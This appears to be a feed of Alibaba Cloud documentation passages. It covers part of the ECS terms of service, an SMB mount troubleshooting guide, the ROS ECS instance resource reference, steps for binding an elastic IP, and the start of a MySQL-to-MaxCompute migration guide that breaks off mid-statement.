      3.1.3.6.8. 其他违反法律法规、部门规章或国家政策的内容。

      3.1.3.7. 不应大量占用,亦不得导致如程序或进程等大量占用阿里云云计算资源(如云服务器、网络带宽、存储空间等)所组成的平台(以下简称“云平台”)中服务器内存、CPU或者网络带宽资源(比如但不限于互联网挖矿等行为),并给阿里云云平台或者阿里云的其他用户的网络、服务器(包括但不限于本地及外地和国际的网络、服务器等)、产品/应用等带来严重的、不合理的负荷,影响阿里云与国际互联网或者阿里云与特定网络、服务器及阿里云内部正常通畅的联系,或者导致阿里云云平台产品与服务或者阿里云的其他用户的服务器宕机、死机或者用户基于云平台的产品/应用不可访问等;

      3.1.3.8. 不进行任何破坏或试图破坏网络安全的行为(包括但不限于钓鱼,黑客,网络诈骗,网站或空间中含有或涉嫌散播:病毒、木马、恶意代码,及通过虚拟服务器对其他网站、服务器进行涉嫌攻击行为如扫描、嗅探、ARP欺骗、DOS等);

      3.1.3.9. 不进行任何改变或试图改变阿里云提供的系统配置或破坏系统安全的行为;

      3.1.3.10. 不利用本服务从事DDoS防护、DNS防护等防护售卖业务;

      3.1.3.11. 不利用阿里云的服务提供任何不经网络审查或依靠技术手段成为境内获取境外非法信息的途径;

      3.1.3.12. 不从事其他违法、违规或违反阿里云服务条款的行为。

      3.1.3.13. 如阿里云发现您违反上述条款的约定,有权根据情况采取相应的处理措施,包括但不限于立即终止服务、中止服务或删除相应信息等。如果第三方机构或个人对您提出质疑或投诉,阿里云将通知您,您有责任在规定时间内进行说明并出具证明材料,如您未能提供相反证据或您逾期未能反馈的,阿里云将采取包括但不限于立即终止服务、中止服务或删除相应信息等处理措施。因您未及时更新联系方式或联系方式不正确而致使未能联系到您的,亦视为您逾期未能反馈。

      3.1.4. 您不应在阿里云服务或平台之上安装、使用盗版软件;您对自己行为(如自行安装的软件和进行的操作)所引起的结果承担全部责任。

      3.1.5. 您对自己存放在阿里云云平台上的数据以及进入和管理阿里云云平台上各类产品与服务的口令、密码的完整性和保密性负责。因您维护不当或保密不当致使上述数据、口令、密码等丢失或泄漏所引起的一切损失和后果均由您自行承担。

      3.1.6. 您应向阿里云提交执行本服务条款的联系人和管理用户网络及云平台上各类产品与服务的人员名单和联系方式并提供必要的协助。如以上人员发生变动,您应自行将变动后的信息进行在线更新并及时通知阿里云。因您提供的人员的信息不真实、不准确、不完整,以及因以上人员的行为或不作为而产生的结果,均由您负责。

      3.1.7. 您对您存放在阿里云云平台上的数据内容负责,如因上传、发布的公开信息违反法律法规、部门规章或国家政策,由此造成的全部结果及责任由您自行承担。阿里云对此予以监督、通过阿里绿网功能向您提示不合规或疑似不合规内容,并郑重提示您谨慎判断数据内容的合法性。您开通ECS即将默认开通阿里绿网功能,如不需阿里绿网服务,您可按阿里云官网相关服务说明予以关闭此功能,您一旦在管理控制台执行关闭阿里绿网功能的操作,则您已购和将新购的任何ECS都将不再默认开通并享有阿里绿网服务。

      3.1.8. 您须依照《互联网信息服务管理办法》、《互联网电子公告服务管理规定》等法律法规的规定保留自己网站的访问日志记录,包括发布的信息内容及其发布时间、互联网地址(IP)、域名等,国家有关机关依法查询时应配合提供。您自行承担未按规定保留相关记录而引起的全部法律责任。

      3.1.9. 您理解并认可,云盾服务是阿里云向您提供的ECS整体服务中的一项功能,您购买ECS服务,阿里云即向您提供云盾服务,如您不需开通云盾服务,您应按阿里云官网相关服务说明予以关闭或卸载此功能。同时您理解,云盾服务虽经过详细的测试,但不能保证其与所有的软硬件系统完全兼容,不能保证云盾软件完全没有错误。如果出现不兼容及软件错误的情况,您可拨打技术支持电话将情况报告阿里云,获得技术支持。如果无法解决兼容性问题,您可以停止使用云盾服务。

      3.1.10. 您了解阿里云无法保证其所提供的服务毫无瑕疵(如阿里云安全产品并不能保证您的硬件或软件的绝对安全),但阿里云承诺不断提升服务质量及服务水平。所以您同意:即使阿里云提供的服务存在瑕疵,但上述瑕疵是当时行业技术水平所无法避免的,其将不被视为阿里云违约。您同意和阿里云一同合作解决上述瑕疵问题。

      3.1.11. 为了数据的安全,您应负责您数据的备份工作。

      3.2. 阿里云的权利、义务

      3.2.1. 阿里云应按照服务条款约定提供服务。

      3.2.2. 阿里云为付费用户提供7×24售后电话咨询服务和在线工单服务系统,解答客户在使用中的问题。

      3.2.3. 若服务涉及云服务器的,阿里云仅负责操作系统以下的底层部分及阿里云提供的软件的运营维护,即云服务器服务的相关技术架构及操作系统等。操作系统之上部分(如您在系统上安装的应用程序)由您自行负责。此外,您自行升级操作系统可能会造成宕机等不良影响,请自行把握风险并谨慎操作。

      3.2.4. 阿里云将消除您非人为操作所出现的故障,但因您原因和/或不可抗力以及非阿里云控制范围之内的事项除外。

      3.2.5. 如您在使用ECS服务时选择开通服务器安全服务(即安骑士服务),则您认可并同意遵守安骑士服务条款

      3.2.6. 您理解并认可,阿里云在必要时将会对您使用的云服务器服务进行机房迁移。阿里云进行上述操作前将提前7个自然日通知您,由于进行上述操作可能需要修改您相关域名的DNS,因此您需在接到阿里云通知后按照阿里云要求的时间将DNS修改到阿里云指定IP上,否则因此造成网站应用无法访问的,由您自行负责。

      3.2.7. 阿里云的云服务器服务为您提供镜像分享的功能。您可以通过云服务器的镜像分享功能向他人提供您的镜像,也可以获取他人已提供的镜像并安装于自己的云服务器之上。在此种情况下,阿里云仅是镜像分享的平台,并不是镜像本身的提供者,请您在提供、使用他人镜像时,谨慎判断镜像以及其中的数据是否适合公开,以及相关的安全性和适用性等情况,如因分享的镜像出现任何纠纷,将由镜像提供者和镜像使用者双方解决,阿里云不对双方之间的达成的或涉及的法定和/或契约责任承担任何责任。

      4. 用户业务数据

      4.1 阿里云理解并认可,您通过阿里云提供的服务,加工、存储、上传、下载、分发以及通过其他方式处理的数据,均为您的用户业务数据,您完全拥有您的用户业务数据。

      4.2 就用户业务数据,阿里云除执行您的服务要求外,不进行任何未获授权的使用及披露;但以下情形除外:

      • 4.2.1 在国家有关机关依法查询或调阅用户业务数据时,阿里云具有按照相关法律法规或政策文件要求提供配合,并向第三方或者行政、司法等机构披露的义务;
      • 4.2.2 您和阿里云另行协商一致。

      4.3 您可自行对您的用户业务数据进行删除、更改等操作。如您自行释放服务或删除数据的,阿里云将删除您的数据,按照您的指令不再保留该等数据。就数据的删除、更改等操作,您应谨慎操作。

      4.4. 当服务期届满、服务提前终止(包括但不限于双方协商一致提前终止,其他原因导致的提前终止等)或您发生欠费时,除法律法规明确约定、主管部门要求或双方另有约定外,阿里云仅在一定的缓冲期(以您所订购的服务适用的产品文档、服务说明等所载明的时限为准)内继续存储您的用户业务数据(如有),缓冲期届满阿里云将删除所有用户业务数据,包括所有缓存或者备份的副本,不再保留您的任何用户业务数据。

      4.5. 用户业务数据一经删除,即不可恢复;您应自行承担数据因此被删除所引发的后果和责任,您理解并同意,阿里云没有继续保留、导出或者返还用户业务数据的义务。

      4.6. 根据您与阿里云协商一致,阿里云在您选定的数据中心存储用户业务数据。阿里云恪守对用户的安全承诺,根据适用的法律保护用户存储在阿里云数据中心的数据。

      5. 知识产权

      5.1. 您应保证提交阿里云的素材、对阿里云服务的使用及使用阿里云服务所产生的成果未侵犯任何第三方的合法权益。如有第三方基于侵犯版权、侵犯第三人之权益或违反中国法律法规或其他适用的法律等原因而向阿里云提起索赔、诉讼或可能向其提起诉讼,则您应赔偿阿里云因此承担的费用或损失,并使阿里云完全免责。

      5.2. 如果第三方机构或个人对您使用阿里云服务所涉及的相关素材的知识产权归属提出质疑或投诉,您有责任出具相关知识产权证明材料,并配合阿里云相关投诉处理工作。

      5.3. 您承认阿里云向您提供的任何资料、技术或技术支持、软件、服务等的知识产权均属于阿里云或第三方所有。除阿里云或第三方明示同意外,您无权复制、传播、转让、许可或提供他人使用上述资源,否则应承担相应的责任。

      6. 保密条款

      6.1. 保密资料指由一方向另一方披露的所有技术及非技术信息(包括但不限于产品资料,产品计划,价格,财务及营销规划,业务战略,客户信息,客户数据,研发资料,软件硬件,API应用数据接口,技术说明,设计,特殊公式,特殊算法等)。

      6.2. 本服务条款任何一方同意对获悉的对方之上述保密资料予以保密,并严格限制接触上述保密资料的员工遵守本条之保密义务。除非国家机关依法强制要求或上述保密资料已经进入公有领域外,接受保密资料的一方不得对外披露。

      6.3. 本服务条款双方明确认可保密资料是双方的重点保密信息并是各自的重要资产,本服务条款双方同意尽最大的努力保护上述保密资料等不被披露。一旦发现有上述保密资料泄露事件,双方应合作采取一切合理措施避免或者减轻损害后果的产生。

      6.4. 本条款不因本服务条款的终止而失效。

      7. 期限与终止

      7.1. 服务期限自您创建任一云服务器服务(指 www.aliyun.com 上所向您展示并提供的服务)成功之日起计算,而非以您获得云服务器服务的管理员身份(包括获取了管理员登录号和密码)为依据。具体服务期限将根据您实际使用情况计算。云服务器服务创建成功后,您需进行网站开通前准备的(如办理网站经营许可证/网站备案手续等),准备期间包含在服务期限内。

      7.2. 发生下列情形,服务期限提前终止:
      7.2.1. 双方协商一致提前终止的;
      7.2.2. 您严重违反本服务条款(包括但不限于a.您未按照协议约定履行付款义务,及/或b.您严重违反法律规定等),阿里云有权提前终止服务,并不退还您已经支付的费用;
      7.2.3. 您理解并充分认可,虽然阿里云已经建立(并将根据技术的发展不断完善)必要的技术措施来防御包括计算机病毒、网络入侵和攻击破坏(包括但不限于DDOS)等危害网络安全的事项或行为(以下统称该等行为),但鉴于网络安全技术的局限性、相对性以及该等行为的不可预见性,因此如因您遭遇该等行为而给阿里云或者阿里云的其他的网络或服务器(包括但不限于本地及外地和国际的网络、服务器等)带来危害,或影响阿里云与国际互联网或者阿里云与特定网络、服务器及阿里云内部的通畅联系,阿里云可决定暂停或终止服务,如果终止服务的,将按照实际提供服务月份计算(不足一个月的按一个月计)服务费用,将剩余款项(如有)返还。
      7.2.4. 阿里云可提前30天在 www.aliyun.com 上通告或给您发网站内通知或书面通知的方式终止本服务条款。届时阿里云应将您已支付但未消费的款项退还至您的阿里云账户。

      8. 违约责任

      8.1. 本服务条款任何一方违约均须依法承担违约责任。

      8.2. 您理解,鉴于计算机、互联网的特殊性,下述情况不属于阿里云违约:
      8.2.1. 阿里云在进行服务器配置、维护时,需要短时间中断服务;
      8.2.2. 由于Internet上的通路阻塞造成您网站访问速度下降。

      8.3. 如因阿里云原因,造成您连续72小时不能正常使用服务的,您可以终止服务,但非阿里云控制之内的原因引起的除外。

      8.4. 在任何情况下,阿里云均不对任何间接性、后果性、惩戒性、偶然性、特殊性的损害,包括您使用阿里云服务而遭受的利润损失承担责任(即使您已被告知该等损失的可能性)。

      8.5. 在任何情况下,阿里云对本服务条款所承担的违约赔偿责任总额不超过违约服务对应之服务费总额。

      9. 不可抗力

      9.1. 因不可抗力或者其他意外事件,使得本服务条款的履行不可能、不必要或者无意义的,遭受不可抗力、意外事件的一方不承担责任。

      9.2. 不可抗力、意外事件是指不能预见、不能克服并不能避免且对一方或双方当事人造成重大影响的客观事件,包括但不限于自然灾害如洪水、地震、瘟疫流行等以及社会事件如战争、动乱、政府行为、电信主干线路中断、黑客、网路堵塞、电信部门技术调整和政府管制等。

      10. 法律适用及争议解决

      10.1. 本服务条款受中华人民共和国法律管辖。

      10.2. 在执行本服务条款过程中如发生纠纷,双方应及时协商解决。协商不成时,任何一方可直接向杭州市西湖区人民法院提起诉讼。

      11. 附则

      11.1. 阿里云在 www.aliyun.com 相关页面上的服务说明、价格说明和您确认同意的订购页面是本服务条款不可分割的一部分。如果 www.aliyun.com 相关页面上的服务说明、价格说明和您确认同意的订购页面与本服务条款有不一致之处,以本服务条款为准。

      11.2. 阿里云有权以提前30天在 www.aliyun.com 上公布、或给您发网站内通知或书面通知的方式将本服务条款的权利义务全部或者部分转移给阿里云的关联公司。

      11.3. 如果任何条款在性质上或其他方面理应地在此协议终止时继续存在,那么应视为继续存在的条款,这些条款包括但不局限于保证条款、保密条款、知识产权条款、法律适用及争议解决条款。

      ]]> 通过云服务器ECS(Linux)访问SMB文件系统的问题排查_常见错误排查_文件存储-阿里云 Fri, 02 May 2025 09:39:04 +0800 通过云服务器ECS(Linux)访问SMB文件系统的问题排查

      更新时间:2019-11-13 14:25:16

      编辑 我的收藏

      新浪微博 微信 钉钉

      本页目录

      本文详细列出了从云服务器ECS(Linux)访问SMB文件系统时的常见问题、原因与解决方案。

      无法挂载SMB文件系统

      通常原因:

      • 使用了低版本或者不兼容的Linux操作系统版本,SMB文件系统支持如下的Linux分发版本。
        • CentOS 7.6 64bit (3.10.0-957.5.1.el7.x86_64)
        • Ubuntu 18.04 64bit(4.15.0-48-generic)
        • Debian 9.9 64bit(4.9.0-9-amd64)
        • Suse Enterprise Server 12 SP2 64bit(4.4.74-92.35-default)
        • OpenSUSE 42.3 64bit(4.4.90-28-default)
        • Aliyun Linux(4.19.34-11.al7.x86_64)
        • CoreOS(4.19.43-coreos VersionID=2079.4.0)
      • 客户端上未安装CIFS挂载工具(cifs-utils)或者mount.cifs不在PATH指定的命令搜寻目录中。
      • 云服务器ECS(Linux)和SMB文件系统的网络不通。
        • 云服务器ECS(Linux)和SMB文件系统不属于同一个阿里云用户。
        • 云服务器ECS(Linux)和SMB文件系统不在同一个阿里云地域(region)。
        • 云服务器ECS(Linux)和SMB文件系统不处于可连通的网络(VPC或经典网络)中。

          说明 NAS支持本地挂载,如果Linux客户端在用户IDC中,可能是该IDC和SMB文件系统所处的的网络(VPC或经典网络)没有通过阿里云高速通道连接成功。

        • SMB文件系统的白名单设置不允许云服务器ECS(Linux)连接。
        • 云服务器ECS(Linux)防火墙设置为不允许访问SMB文件系统的IP地址或445端口。
        • 云服务器ECS(Linux)试图通过不受支持的TCP端口连接,现在SMB只支持445端口。

        说明

        您可以通过ping <VolumeDomainName>telnet <VolumeDomainName> 445检查连通性。

        如果端口445未打开,请在目标ECS实例的安全组中添加关于端口445的安全组规则,详情请参见添加安全组规则

      • 云服务器ECS(Linux)管理员没有root权限或者没有被设置为有mount命令的sudo权限。
      • 挂载时使用的文件系统类型不是cifs。
      • 挂载时使用的vers选项不是2.0。
      • 挂载时没有指定guest方式挂载。
      • 挂载时指定的uid、gid、dir_mode或者file_mode不正确。
      • 挂载的目标目录的SELINUX设置不正确。
      • 云服务器ECS(Linux)挂载连接数太多,超过了单文件系统挂载上限(1000)。这个在容器场景较容易发生。

      解决方案:

      1. 参见通过云服务器ECS(Linux)访问SMB文件系统及上述可能原因,自行排查。
      2. 检查/var/log/messages和dmesg输出,自行排查。
      3. 联系阿里云NAS团队排查。

        同时请提供Linux版本信息、具体挂载命令、/var/log/messages和dmesg输出。

      文件系统性能不佳

      如果SMB文件系统性能不佳,您可以从以下方面进行排查。

      • 原因1:SMB单个文件系统的吞吐能力与存储量是相联系的。单文件系统的吞吐(读+写)上限与当前存储量呈线性关系。

        解决方案:使用fio工具来测试SMB文件系统性能,详情请参见NAS性能测试

      • 原因2:云服务器ECS(Linux)的单机网络带宽较小。

        解决方案:使用多个云服务器ECS(Linux)达到文件系统的总体预期性能。

      • 原因3:禁用了SMB文件系统的客户端缓存。

        解决方案:在挂载SMB文件系统时,cache=none表示禁用缓存,默认或者cache=strict表示使用缓存;您可以通过sudo mount | grep cifs命令检查所用的选项是否正确。

      • 原因4:没有设置合适的SMB客户端的I/O大小。

        解决方案:根据业务需求调整rsize/wsize,缺省值:1048576。

      • 原因5:云服务器ECS(Linux)的CPU或内存的规格过低,或被其它业务占有过多。

        解决方案:选择合适的云服务器ECS(Linux)规格、检查系统其它应用资源,确保系统满足CPU和内存要求。 您可以通过top命令检查系统cpu、mem使用情况。

      • 原因6:挂载时使用了atime选项。

        解决方案:如果您的业务不是对文件的访问时间(atime)极为敏感请不要在挂载时使用atime选项。

      • 原因7:遇到大量小文件频繁读、少量写但需要写时通知的WebServer场景。

        解决方案:您可以在客户端配置该WebServer(如Apache)产品特定的缓存机制或者联系阿里云NAS团队开通WebServer场景加速功能。

      迁移/复制文件系统中的文件时速度缓慢

      如果已经排除了上述文件系统本身的性能问题,则可能原因是您没有使用并发式迁移/复制文件。您可以通过以下开源工具进行迁移/复制。

      • GNU Parallel

        说明

        • 根据系统资源,选择合适的线程数。
        • 示例:find * -type | parallel --will-cite -j 10 cp {} /mnt/smb/ &

      • Fpart
      • Fpsync
      • multi

      访问文件系统时,报错:Permission denied

      原因:Linux管理员在挂载时使用了不正确的uid、gid、file_mode、dir_mode。

      解决方案:检查是否正确设置了uid、gid、file_mode、dir_mode等挂载选项,详情请参见通过云服务器ECS(Linux)访问SMB文件系统

      文件名大小写变更

      SMB文件系统对文件名大小写不敏感,和Windows系统保持一致。但在文件名大小写改名这个场景暂时没有支持。

      您可以先从大写文件名改成一个其它名字的文件,再改成小写文件名,反之亦然。

      不能改变文件owner,文件/目录mode

      现在暂时不支持动态改变,只能在挂载时指定,详情请参见通过云服务器ECS(Linux)访问SMB文件系统

      并发访问同一文件时,客户端出现无响应35s现象

      原因:当前Linux SMB 内核驱动有缺陷,会造成在使用vers=2.1 or 3.0挂载时,在某些并发场景不能发出服务器端期待的SMB BreakAck协议包,导致服务器端无响应35s。

      解决方案:挂载文件系统时,使用vers=2.0 协议。

      不能使用ACL

      暂时不支持使用ACL,如果您有强烈需求,请联系阿里云NAS团队。

      SMB挂载点无响应

      原因:在Linux内核为3.10.0-514之前的Linux分发版中,SMB内核驱动在并发场景有时会crash(内核stack如下所示),导致挂载点无法被访问。内核日志中有如下类似信息:

      ...
      [<ffffffffc03c9bc1>] cifs_oplock_break+0x1f1/0x270 [cifs]
      [<ffffffff810a881a>] process_one_work+0x17a/0x440
      [<ffffffff810a8d74>] rescuer_thread+0x294/0x3c0
      ...

      解决方案:

      • 使用cache=none重新挂载(性能会受影响)。
      • 升级云服务器ECS(Linux)的操作系统。

      ]]> ALIYUN::ECS::Instance_ECS_资源类型_资源编排-阿里云 Fri, 02 May 2025 09:39:04 +0800 ALIYUN::ECS::Instance

      更新时间:2020-02-03 18:36:11

      编辑 我的收藏

      新浪微博 微信 钉钉

      本页目录

      ALIYUN::ECS::Instance类型用于创建ECS实例。

      语法

      {
        "Type": "ALIYUN::ECS::Instance",
        "Properties": {
          "DedicatedHostId": String,
          "Period": Number,
          "AutoRenew": String,
          "RamRoleName": String,
          "IoOptimized": String,
          "InternetChargeType": String,
          "PrivateIpAddress": String,
          "KeyPairName": String,
          "SystemDiskDiskName": String,
          "PeriodUnit": String,
          "Description": String,
          "Tags": List,
          "HostName": String,
          "AutoRenewPeriod": Number,
          "ImageId": String,
          "ResourceGroupId": String,
          "InstanceChargeType": String,
          "VSwitchId": String,
          "Password": String,
          "InstanceType": String,
          "SystemDiskCategory": String,
          "UserData": String,
          "SystemDiskSize": Number,
          "ZoneId": String,
          "InternetMaxBandwidthOut": Integer,
          "VpcId": String,
          "SpotStrategy": String,
          "InstanceName": String,
          "InternetMaxBandwidthIn": Integer,
          "DeletionProtection": Boolean,
          "DeploymentSetId": String,
          "SecurityGroupId": String,
          "SpotPriceLimit": String,
          "HpcClusterId": String,
          "AllocatePublicIP": Boolean,
          "SystemDiskDescription": String,
          "SystemDiskPerformanceLevel": String,
          "DiskMappings": List
        }
      }

      属性

      属性名称 类型 必须 允许更新 描述 约束
      ResourceGroupId String 实例所在的资源组ID。 无。
      ImageId String ECS实例的镜像ID,包括公共镜像、自定义镜像和云市场镜像。 当编辑模板时,您只需指定镜像类型或者镜像类型和版本,ROS会自动选择适配的公共镜像ID。星号通配符(*)可用于指代镜像ID的某一部分。以所有阿里云提供的Ubuntu的公共镜像为例,当为ECS实例指定公共镜像ID时,规则如下:
      • 指定ubuntu,最终会匹配ubuntu16_0402_64_20G_alibase_20170818.vhd。
      • 指定ubuntu_14,最终会匹配ubuntu_14_0405_64_20G_alibase_20170824.vhd。
      • 指定ubuntu*14*32,最终会匹配ubuntu_14_0405_32_40G_alibase_20170711.vhd。
      • 指定ubuntu_16_0402_32,最终会匹配ubuntu_16_0402_32_40G_alibase_20170711.vhd。
      InstanceType String ECS实例规格。 详情请参见ECS实例规格
      SecurityGroupId String 新建实例所属安全组。 无。
      Description String 描述信息。 长度为2~256个字符。
      InstanceName String 实例名称。 长度为2~128个英文或中文字符。必须以大小字母或中文开头,不能以http://https://开头。可以包含数字、半角冒号(:)、下划线(_)或者连字符(-)。如果没有指定该参数,默认值为实例的InstanceId。
      Password String ECS实例登录密码。 长度为8~30个字符。必须同时包含大小写字母、数字和特殊字符,支持以下特殊字符:( ) ‘ ~ ! @ # $ % ^ & * - + = | { } [ ] : ; ‘ < > , . ? / - 。如果指定此参数,请使用HTTPS协议调用API,以避免密码泄露。
      HostName String 云服务器的主机名。 最小长度为2个字符。点和连字符不能作为主机名的首尾字符,且不能连续使用。Windows平台支持最长15个字符,支持字母(不限制大小写)、数字和连字符,不支持点号,不能全是数字;其它(Linux等)平台支持最长30个字符,支持多个点号,点之间为一段,每段可以由大小写字母、数字和连字符组成。
      AllocatePublicIP Boolean 指定是否创建公网IP。 如果InternetMaxBandwidthOut取值为0,则不会分配公网IP。默认值:true。
      PrivateIpAddress String 在VPC网络环境下,指定的内网IP。 IP地址不能与VPC网络下的其它实例重复。
      InternetChargeType String 访问公网计费方式。 取值:PayByBandwidth(按固定带宽计费)、PayByTraffic(按流量计费)。默认值: PayByTraffic。
      InternetMaxBandwidthIn Integer 公网入带宽最大值。 单位:Mbps。取值范围:1~200。默认值:200。
      InternetMaxBandwidthOut Integer 公网出带宽最大值。 单位:Mbps。取值范围:0~100,默认值:0。
      IoOptimized String 是否创建I/O优化实例。 取值:none(非I/O优化)、optimized(I/O优化)。默认值:optimized。
      DiskMappings List 需要挂载的磁盘。 最多支持16块磁盘。
      SystemDiskCategory String 系统盘类型。 取值:
      • cloud:普通云盘
      • cloud_ssd:SSD云盘
      • cloud_efficiency:高效云盘
      已停售的实例规格且非I/O优化实例默认值为cloud,否则默认值为cloud_efficiency。
      SystemDiskDescription String 系统盘描述信息。 无。
      SystemDiskDiskName String 系统盘名称。 长度为2~128个英文或中文字符。必须以大小字母或中文开头,不能以http://https://开头。可以包含数字、半角冒号(:)、下划线(_)或者连字符(-)。
      SystemDiskSize Number 系统盘大小。 单位:GB。取值范围:20~500。如果使用自定义镜像创建系统盘,需要保证系统盘大于自定义镜像大小。
      Tags List 用户自定义标签。 最多支持20个标签,格式:[{"Key": "tagKey", "Value": "tagValue"},{"Key": "tagKey2", "Value": "tagValue2"}]
      UserData String 创建ECS实例时传递的用户数据。 内容需要限制在16KB以内,不需要使用Base64转码,特殊字符需要使用反斜杠转义。
      ZoneId String 可用区ID。 无。
      HpcClusterId String 实例所属的HPC集群ID。 无。
      VpcId String VPC ID。 无。
      VSwitchId String VSwitch ID。 无。
      InstanceChargeType String ECS实例付费类型。 取值:PrePaid(预付费)、PostPaid(按量付费)。默认值:PostPaid。如果指定PrePaid,则必须确保余额充足,否则会导致实例创建失败。
      Period Number 付费周期。 单位:月。取值:1~9、12、24、36。当InstanceChargeType取值为PrePaid时,此参数为必选参数;当 InstanceChargeType取值为PostPaid时,此参数为可选参数。
      KeyPairName String ECS实例绑定的密钥对名称。 当实例类型为Windows时,请忽略此参数;当实例类型为Linux时,密码登录方式会被初始化为禁止。为提高实例安全性,建议您使用密钥对的连接方式。
      RamRoleName String 实例RAM角色名称。 详情请参见CreateRoleListRoles
      SpotPriceLimit String 实例的每小时最高价格。 支持最多3位小数。当SpotStrategy取值为SpotWithPriceLimit时,此参数生效。
      SpotStrategy String 按量付费实例的竞价策略。 当InstanceChargeType取值为PostPaid时,此参数为必选参数。取值:NoSpot(正常按量付费实例)、SpotWithPriceLimit(上限价格的竞价实例)、SpotAsPriceGo(系统自动出价,最高不超过按量付费价格)。默认值:NoSpot。
      DedicatedHostId String ECS实例创建指定专有宿主机上。 您可以通过调用DescribeDedicatedHosts查询专有宿主机ID列表。由于专有宿主机不支持创建抢占式实例,指定DedicatedHostId后,请求中的SpotStrategy和SpotPriceLimit设置将被自动忽略。
      PeriodUnit String 购买资源的时长。 取值:Week、Month。默认值:Month。PeriodUnit取值为Week时,Period取值为1、2、3、4,AutoRenewPeriod取值为1、2、3;PeriodUnit取值为Month时,Period取值为1~9、12、24、36、48、60,AutoRenewPeriod取值为1、2、3、6、12。
      AutoRenewPeriod Number 每次自动续费的时长。 当AutoRenew取值为True时,此参数为必选参数。取值范围:1、2、3、6、12。
      AutoRenew String 是否要自动续费。 取值: True(自动续费)、False(不自动续费)。默认值:False。当InstanceChargeType取值PrePaid时,此参数为必选参数。
      DeletionProtection Boolean 实例释放保护属性,指定是否支持通过控制台或API(DeleteInstance)释放实例。 取值:true、false。
      DeploymentSetId String 部署集ID。 无。
      SystemDiskPerformanceLevel String 创建ESSD云盘作为系统盘使用时,设置云盘的性能等级。 取值范围:
      • PL1(默认):单盘最高随机读写IOPS为5万。
      • PL2:单盘最高随机读写IOPS为10万。
      • PL3:单盘最高随机读写IOPS为100万。
      有关如何选择ESSD性能等级,请参见ESSD云盘

      DiskMappings语法

      "DiskMappings": [
        {
          "Category": String,
          "DiskName": String,
          "Description": String,
          "Device": String,
          "SnapshotId": String,
          "PerformanceLevel": String,
          "Size": Number
        }
      ]

      DiskMappings属性

      属性名称 类型 必须 允许更新 描述 约束
      Size Number 数据盘大小。 取值范围:20~500。单位:GB。
      Category String 数据盘类型。 取值:
      • cloud:普通云盘
      • cloud_ssd:SSD云盘
      • cloud_essd:ESSD云盘
      • cloud_efficiency:高效云盘
      • ephemeral_ssd:本地SSD盘
      I/O优化实例的默认值为cloud_efficiency,非I/O优化实例的默认值为cloud。
      DiskName String 数据盘名称。 长度为2~128个字符。必须以大小字母或中文开头,不能以http://https://开头,可包含数字、下划线(_)、半角冒号(:)、连字符(-)。
      Description String 描述信息。 长度为2~256个英文或中文字符,不能以http://https://开头。
      Device String 挂载点。

      说明 该参数即将停止使用,为提高代码兼容性,建议您尽量不要使用该参数

      无。
      PerformanceLevel String 创建ESSD云盘作为数据盘使用时,设置云盘的性能等级。
      • PL1(默认):单盘最高随机读写IOPS为5万。
      • PL2:单盘最高随机读写IOPS为10万。
      • PL3:单盘最高随机读写IOPS为100万。
      有关如何选择ESSD性能等级,请参见ESSD云盘
      SnapshotId String 数据盘使用的快照ID。 无。

      Tags语法

      "Tags": [
        {
          "Value": String,
          "Key": String
        }
      ]

      Tags属性

      属性名称 类型 必须 允许更新 描述 约束
      Key String 无。 无。
      Value String 无。 无。

      返回值

      Fn::GetAtt

      • InstanceId:实例ID。由系统生成,实例的全局唯一标识。
      • PrivateIp:VPC类型实例的私网IP。当NetworkType取值为VPC时,此参数生效。
      • InnerIp:Classic类型实例的私网IP。当NetworkType取值为Classic时,此参数生效。
      • PublicIp:Classic类型实例的公网IP列表。当NetworkType取值为Classic时,此参数生效。
      • ZoneId:可用区ID。
      • HostName:实例的主机名称。

      示例

      {
        "ROSTemplateFormatVersion": "2015-09-01",
        "Resources": {
          "WebServer": {
            "Type": "ALIYUN::ECS::Instance",
            "Properties": {
              "ImageId": "m-25l0rc****",
              "InstanceType": "ecs.t1.small",
              "SecurityGroupId": "sg-25zwc****",
              "ZoneId": "cn-beijing-b",
              "Tags": [{
                  "Key": "tiantt",
                  "Value": "ros"
              },{
                  "Key": "tiantt1",
                  "Value": "ros1"
              }
              ]
            }
          }
        },
        "Outputs": {
          "InstanceId": {
               "Value": {"get_attr": ["WebServer","InstanceId"]}
          },
          "PublicIp": {
               "Value": {"get_attr": ["WebServer","PublicIp"]}
          }
        }
      }

      ]]> 绑定ECS实例_绑定云资源_用户指南_弹性公网 IP-阿里云 Fri, 02 May 2025 09:39:04 +0800 绑定ECS实例

      更新时间:2019-12-17 22:19:37

       · 编辑者

      全部>

      编辑 我的收藏

      新浪微博 微信 钉钉

      本页目录

      您可以将弹性公网IP绑定到专有网络类型的ECS实例上。ECS实例绑定弹性公网IP后,ECS实例可以和公网通信。

      操作步骤

      1. 登录专有网络管理控制台
      2. 在左侧导航栏,单击弹性公网IP
      3. 选择弹性公网IP的地域。
      4. 弹性公网IP页面,找到目标弹性公网IP,单击操作列下的绑定
      5. 绑定弹性公网IP页面,完成以下配置,然后单击确定

        配置 说明
        实例类型 选择ECS实例。
        ECS实例 选择要绑定的ECS实例。

        要绑定的ECS实例必须满足以下条件:

        • ECS实例的网络类型必须是专有网络。
        • ECS实例的地域必须和EIP的地域相同。
        • ECS实例必须处于运行中或停止状态。
        • ECS实例没有配置固定公网IP且没有绑定其他EIP。
        • 一个ECS实例只能绑定一个EIP。

      ]]> 迁移ECS自建MySQL数据库至MaxCompute_数据迁移_最佳实践_MaxCompute-阿里云 Fri, 02 May 2025 09:39:04 +0800 迁移ECS自建MySQL数据库至MaxCompute

      更新时间:2020-04-07 15:43:32

      本页目录

      本文为您介绍如何使用独享数据集成资源,将您在ECS上自建的MySQL数据库中的数据,迁移到MaxCompute。

      前提条件

      • 已拥有至少一个绑定专有网络VPC的ECS(请勿使用经典网络),并在ECS上安装好MySQL数据库,数据库中已创建好用户和测试数据。本文中ECS自建MySQL的测试数据创建语句如下。
        CREATE TABLE IF NOT EXISTS good_sale(
           create_time timestamp,
           category varchar(20),
           brand varchar(20),
           buyer_id varchar(20),
           trans_num varchar(20),
           trans_amount DOUBLE,
           click_cnt varchar(20)
           );
        insert into good_sale values('2018-08-21','coat','brandA','lilei',3,500.6,7),
        ('2018-08-22','food','brandB','lilei',1,303,8),
        ('2018-08-22','coat','brandC','hanmeimei',2,510,2),
        ('2018-08-22','bath','brandA','hanmeimei',1,442.5,1),
        ('2018-08-22','food','brandD','hanmeimei',2,234,3),
        ('2018-08-23','coat','brandB','jimmy',9,2000,7),
        ('2018-08-23','food','brandA','jimmy',5,45.1,5),
        ('2018-08-23','coat','brandE','jimmy',5,100.2,4),
        ('2018-08-24','food','brandG','peiqi',10,5560,7),
